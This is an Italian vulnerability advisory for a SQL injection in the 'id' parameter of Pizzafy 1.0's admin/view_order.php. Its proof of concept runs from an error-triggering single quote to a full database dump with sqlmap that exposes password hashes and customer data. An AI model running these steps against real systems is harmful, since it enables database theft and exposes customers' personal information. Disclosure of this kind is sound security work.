SQL Injection nel sistema e-commerce Pizzafy — admin/view_order.php

Dettagli

https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html

Componente interessato

File: Pizzafy/admin/view_order.php
Parametro: id (GET)

Descrizione

L'endpoint admin/view_order.php del sistema e-commerce Pizzafy 1.0 non sanifica correttamente il parametro GET id prima di passarlo a una query MySQL. Un amministratore autenticato può manipolare questo parametro per iniettare SQL arbitrario, portando alla compromissione totale del database.

Prova di concetto

Passaggio 1 — Accesso come Amministratore

Vai a:

http://localhost/pizzafy/Pizzafy/admin/index.php

Accedi con le credenziali di amministratore.

Passaggio 2 — Vai agli Ordini

http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders

Fai clic su View Order per qualsiasi voce di ordine.

Passaggio 3 — Intercetta la richiesta in Burp Suite

La richiesta GET intercettata si presenta così:

Passaggio 4 — Attiva l'errore SQL

Modifica id=1 in id=':

GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1

Risposta — errore MySQL esposto:

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15

Passaggio 5 — Sfruttamento con sqlmap

Salva la richiesta in view_order.txt ed esegui:

sqlmap -r view_order.txt --dump --batch

sqlmap ha confermato i tipi di iniezione:

Dump dell'intero database:

Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings

I dati sensibili esposti includono hash bcrypt delle password, email dei clienti, dettagli degli ordini e configurazione di sistema.

Impatto

Un amministratore autenticato malintenzionato (o un attaccante che abbia ottenuto le credenziali dell'amministratore) può:

• Eseguire il dump dell'intero database, inclusi gli hash delle password
• Leggere i dati personali (PII) sensibili dei clienti (nomi, email, indirizzi, numeri di telefono)
• Potenzialmente scrivere nel database

Riferimenti

• SourceCodester — Pizzafy Ecommerce System
• CWE-89: Improper Neutralization of Special Elements used in an SQL Command.